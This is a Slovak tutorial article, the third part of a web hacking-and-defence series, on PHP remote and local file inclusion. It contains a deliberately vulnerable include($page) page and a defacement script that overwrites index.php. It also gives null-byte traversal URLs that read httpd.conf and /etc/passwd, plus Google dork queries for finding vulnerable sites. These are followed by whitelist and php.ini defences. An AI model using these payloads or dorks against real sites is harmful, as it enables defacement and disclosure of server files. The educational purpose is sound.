Image
16.6.2016 0 Comments

WWW hacking a obrana / 3. časť

PHP In­jec­tion
PHP je dnes naj­pou­ží­va­nej­ší skrip­to­va­cí ja­zyk po­uží­va­ný na tvor­bu dy­na­mic­kých inter­ne­to­vých strá­nok, kto­ré ma­jú vlast­ný „mo­zog“. Vní­ma­me ho už len nie­ke­dy a fulltexto­vé vy­hľa­dá­va­nie ale­bo fó­rum na strán­ke be­rie­me za sa­moz­rej­mosť. Ale ur­či­te viac nám udrie do očí to, keď je strán­ka bez týc­hto skrip­tov. A pre hac­ke­rov sú strán­ky pí­sa­né po­mo­cou skrip­tov PHP zá­bav­nou for­mou hac­kin­gu.

Tie naj­jed­no­duc­hšie a zá­ro­veň aj naj­me­nej deš­truk­tív­ne úto­ky spo­čí­va­jú v tom, že útoč­ník vy­ma­že sú­bor in­dex.php ale­bo iný sú­bor, kto­rý sa na­čí­ta­va ako hlav­ná strán­ky ne­ja­kej do­mé­ny. Väč­ši­nou sa však po­uží­va ná­zov in­dex.

<html>
<head>
<tit­le>Un­tit­led Do­cu­ment</tit­le>
<me­ta http-equiv="Con­tent-Ty­pe" con­tent="text/html; char­set=iso-8859-1">
</head>
<bo­dy>
<form ac­tion="in­dex.php" met­hod="get>
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="pr­va">
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="dru­ha">
 </form>
<?php in­clu­de($pa­ge.".php");?>
</bo­dy>
</html>

 

Pred­chád­za­jú­ca strán­ka, kto­rá ob­sa­hu­je PHP skript, je ty­pic­ký prík­lad chy­by, kto­rej sa do­púš­ťa po­mer­ne ve­ľa prog­ra­má­to­rov inter­ne­to­vých ap­li­ká­cií. Sa­moz­rej­me, že z bez­peč­nos­tné­ho hľa­dis­ka. Fun­kčnosť je v po­riad­ku a strán­ka pra­cu­je bez prob­lé­mov. Prob­lé­mom je fakt, že skript pri­jí­ma aký­koľ­vek re­ťa­zec do pre­men­nej pa­ge a pra­cu­je s ním. Ha­cker má te­da pred se­bou veľ­mi jed­no­duc­hú úlo­hu. Sta­čí mu do pre­men­nej pa­ge za­dať ces­tu k ne­ja­ké­mu sú­bo­ru, kto­rý má vy­tvo­re­ný na free­hos­tin­go­vom kon­te, a PHP stroj ho vy­ko­ná.

Tu je ob­sah sú­bo­ru hack (sú­bor je bez akej­koľ­vek prí­po­ny).

<?php
$ni = fo­pen("in­dex.php", "w");
$od­kaz = "<h1><cen­ter>Strán­ka je hac­knu­tá. </cen­ter></h1>";
fwri­te($ni, $od­kaz, strlen($od­kaz));
fclo­se($ni);
? >

Ak si po­zrie­te vý­pis sú­bo­ru hack, zis­tí­te, že nej­de o nič iné ako o oby­čaj­ný a pri­tom veľ­mi jed­no­duc­hý skript PHP, kto­rý do­ká­že na­pí­sať kaž­dý prog­ra­má­tor, kto­rý s PHP pra­co­val ale­bo len za­čí­na.

Iné ne­bez­pe­čen­stvo
Za ďal­šiu hroz­bu mô­že­me po­kla­dať to, že útoč­ník je schop­ný zob­ra­ziť aký­koľ­vek sú­bor, ku kto­ré­mu má server prís­tup a da­né kon­to op­ráv­ne­nie.

Ad­re­sa URL: http://lo­cal­host/in­dex.php?pa­ge=dru­ha
Zme­ne­ná URL: http://lo­cal­host/in­dex.php?pa­ge=../conf/httpd.conf%00

Ur­či­te ste si všim­li %00 na kon­ci URL. Je to nu­lo­vý bajt v hexade­ci­mál­nej sús­ta­ve, kto­rý ukon­čí re­ťa­zec. To za­prí­či­ní ukon­če­nie re­ťaz­ca a tým aj náz­vu sú­bo­ru pred prí­po­nou .php. Skript sa tú prí­po­nu sí­ce po­kú­si pri­dať, ale vý­sle­dok bu­de httpd.conf na­mies­to httpd.conf.php. Ak te­da zme­ní­me hod­no­tu pre­men­nej pa­ge na ../conf/httpd.conf%00, na strán­ke sa nám zob­ra­zí ob­sah kon­fi­gu­rač­né­ho sú­bo­ru server­a Apac­he. Sa­moz­rej­me, za pred­pok­la­du, že je nas­ta­ve­ný na ad­re­sár, kto­rý sa nac­hád­za v tom is­tom ad­re­sá­ri ako ad­re­sár conf.

Ak beží server na Li­nuxe, útoč­ník sa mô­že dos­tať k sú­bo­ru, v kto­rom sú ulo­že­né v sú­bo­re passwd. Sta­čí, ak pre­men­nej pa­ge nas­ta­ví hod­no­tu ../../../etc/passwd%00.

Ob­ra­na pro­ti to­mu­to úto­ku je mož­no ove­ľa jed­no­duc­hšia, ako by niek­to ča­kal. Po­sta­čí len kon­tro­lo­vať ob­sah pre­men­nej pa­ge. Tu je skript, kto­rý je bez­peč­ný.

<html>
<head>
<tit­le>Un­tit­led Do­cu­ment</tit­le>
<me­ta http-equiv="Con­tent-Ty­pe" con­tent="text/html; char­set=iso-8859-1">
</head>
<bo­dy>
 <form ac­tion="in­dex.php" met­hod="get">
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="pr­va">
<in­put na­me="pa­ge" ty­pe="sub­mit" va­lue="dru­ha">
 </form>
<?php 
switch($pa­ge) {
ca­se "pr­va":
in­clu­de($pa­ge.".php");
break;  
ca­se "dru­ha":
in­clu­de($pa­ge.".php");
break;

 
de­fault:
if($pa­ge != NULL)
in­clu­de("chy­ba.php");
break;
}
?>
</bo­dy>
</html>

 

Ako hac­ke­ri hľa­da­jú po­ten­ciál­ne cie­le?
Väč­ši­na hac­ke­rov po­uží­va Goog­le na to, aby naš­li ne­ja­ké sla­bo za­bez­pe­če­né strán­ky.

Vy­hľa­dať v Goog­le:

Opis

inurl:?pa­ge=*.php

V URL strán­ky sa nac­hád­za pre­men­ná pa­ge, kto­rá ob­sa­hu­je ná­zov ne­ja­kej dy­na­mic­kej strán­ky (*.php). ?pa­ge=pro­duk­ty.php

inurl:?pa­ge_id=*.php

?pa­ge_id=pro­duk­ty.php

inurl:?id=*.php

Dru­há naj­čas­tej­šia mož­nosť, kto­rá vy­ze­rá po­doz­ri­vo. ?id=pro­duk­ty.php

inurl:?id_pa­ge=*.php

?id_pa­ge=po­boc­ky.php

Inurl:?in­clu­de=*.php

?in­clu­de=pro­ducts.php

Inurl:?in­clu­de_id=*.php

?in­clu­de_id=about_us.php

Inurl:?in­clu­de_url=*.php

?in­clu­de_url=clients.php

Inurl:?url=*.php

url=pro­duk­ty.php

Naj­ús­peš­nej­šia je asi tá pr­vá mož­nosť inurl:?pa­ge=*.php. Na ur­če­nie, v akej do­mé­ne by sa ma­lo vy­hľa­dá­vať, sa po­uží­va si­te: ná­zov_do­mé­ny a za tým text, kto­rý sa má na strán­ke vy­hľa­dať.

si­te:sk

Vy­hľa­dá v do­mé­ne www.ho­ci­ja­ká_strán­ka.sk

si­te:net

Vy­hľa­dá v do­mé­ne www.ho­ci­ja­ká_strán­ka.com

si­te:com

Vy­hľa­dá v do­mé­ne www.ho­ci­ja­ká_strán­ka.sk

si­te:crac­king.sk

Vy­hľa­dá v do­mé­ne www.crac­king.sk

Pre­to skon­tro­luj­te, či ná­ho­dou nie je prá­ve tá va­ša strán­ka na po­pred­ných mies­tach vý­sled­kov Goog­lu pri za­da­ní po­dob­ných vy­hľa­dá­va­cích kri­té­rií. Pre­to­že skôr či nes­kôr na ňu ne­ja­ký ha­cker nat­ra­fí.

V tom naj­lep­šom prí­pa­de bu­de ha­cker na­pá­dať len hlav­ný sú­bor in­dex.php, ale v tom hor­šom mô­že dôjsť k na­ru­še­niu ce­lé­ho server­a, nie­len da­nej strán­ky, kto­rá ob­sa­hu­je chy­bu. A ako? Veď správ­ca hos­tin­go­vé­ho server­a pred­sa nas­ta­vil všet­ko tak, aby sa z jed­né­ho úč­tu ne­da­li pre­ze­rať sú­bo­ry dru­hé­ho úč­tu. To je (väč­ši­nou) prav­da, ale je tu jed­na vec, kto­rá nám do­vo­lí vy­užiť chy­bu aj inak. Tak ako všet­ci ani tvor­co­via ja­zy­ka PHP nie sú neo­myl­ní a aj ja­zyk PHP ob­sa­hu­je chy­by. Rôz­ne fun­kcie API ja­zy­ka PHP ob­sa­hu­jú chy­by, kto­ré nes­mie ad­mi­nis­trá­tor po­dce­niť, pre­to by mal ak­tua­li­zo­vať stroj PHP tak čas­to, ako sa len dá, ale­bo as­poň po­uží­vať všet­ky zá­pla­ty, o kto­rých vie.

Pre­to­že ha­cker, kto­rý ne­má v úmys­le len upo­zor­niť na chy­bu na strán­ke, ale ju chce aj vy­užiť na zís­ka­nie prís­tu­pu k server­u, nap­rog­ra­mu­je skript, kto­rý po­uží­va fun­kciu API, kto­rá sa dá exploi­to­vať a tým pri­nú­tiť vy­ko­nať inter­pre­ter ja­zy­ka PHP, kto­rý beží pod ne­ja­kým webo­vým server­om, na spus­te­nie aké­ho­koľ­vek kó­du.

Ob­ra­na pred PHP in­jec­tion
Naj­jed­no­duc­hšie a aj naj­bez­peč­nej­šie je nas­ta­viť hod­no­tu pa­ra­met­ra sa­fe_mo­de v sú­bo­re php.ini na On.
dis­ab­le_fun­ctions = re­na­me, fo­pen, fwri­te, un­link, fpassthr
a ďal­šie ne­bez­peč­né fun­kcie.

Je eš­te jed­na mož­nosť, ako sťa­žiť hac­ke­ro­vi si­tuáciu. Tre­ba nas­ta­viť allow_url_fo­pen = Off na Off.
To­to nas­ta­ve­nie za­bez­pe­čí, aby ne­bo­lo mož­né na­čí­ta­vať sú­bor z ne­ja­kej inej do­mé­ny (ad­re­sy URL, server­a).

Na úvod do tej­to ob­las­ti bez­peč­nos­ti to po­sta­ču­je, ale úto­ky mô­žu byť – a aj sú – ove­ľa prep­ra­co­va­nej­šie. Pre­to je lep­šie dať as­poň na pár mi­nút otes­to­vať strán­ku nie­ko­mu, kto sa bez­peč­nos­ti ve­nu­je. Pre­dí­de­te tým nes­kor­ším prob­lé­mom, kto­ré by moh­li nas­tať. Na­bu­dú­ce sa po­zrie­me na SQL in­jec­tion.

Autor: Ján Chovanec

Nechajte si posielať prehľad najdôležitejších správ emailom

Mohlo by Vás zaujímať

Ako na to

Tipy a triky: Ako na snímku obrazovky na akomkoľvek počítači s Windows?

02.12.2016 00:13

Ak snímky obrazovky robíte často apotrebujete napríklad funkcie na posun stránok alebo snímanie zobrazenia pri vyššom rozlíšení displeja, zrejme používate nejakú špecializovanú aplikáciu. Väčšina použ ...

Ako na to 1

Tipy a triky: Ako aplikácii prednastaviť spúšťanie s administrátorskými právami?

30.11.2016 00:10

Väčšina aspoň trochu skúsenejších používateľov vie, že aj keď máte na operačnom systéme Windows vytvorený administrátorský účet, aplikácie pre bezpečnosť nefungujú vždy splnými administrátorskými práv ...

Ako na to 2

Tipy a triky: Ako vypnúť uzamykaciu obrazovku vo Windows 10?

29.11.2016 00:10

Rozčuľuje vás, že pred každým prihlásením doúčtu vášho počítača musíte prejsť uzamykacou obrazovkou? Windows 10 na tejto obrazovke ukazuje čas,dátum anejakú zaujímavú fotografiu zrôznych kútov sveta. ...

Žiadne komentáre

Vyhľadávanie

Kyocera - prve-zariadenia-formatu-a4-s-vykonom-a3

Najnovšie videá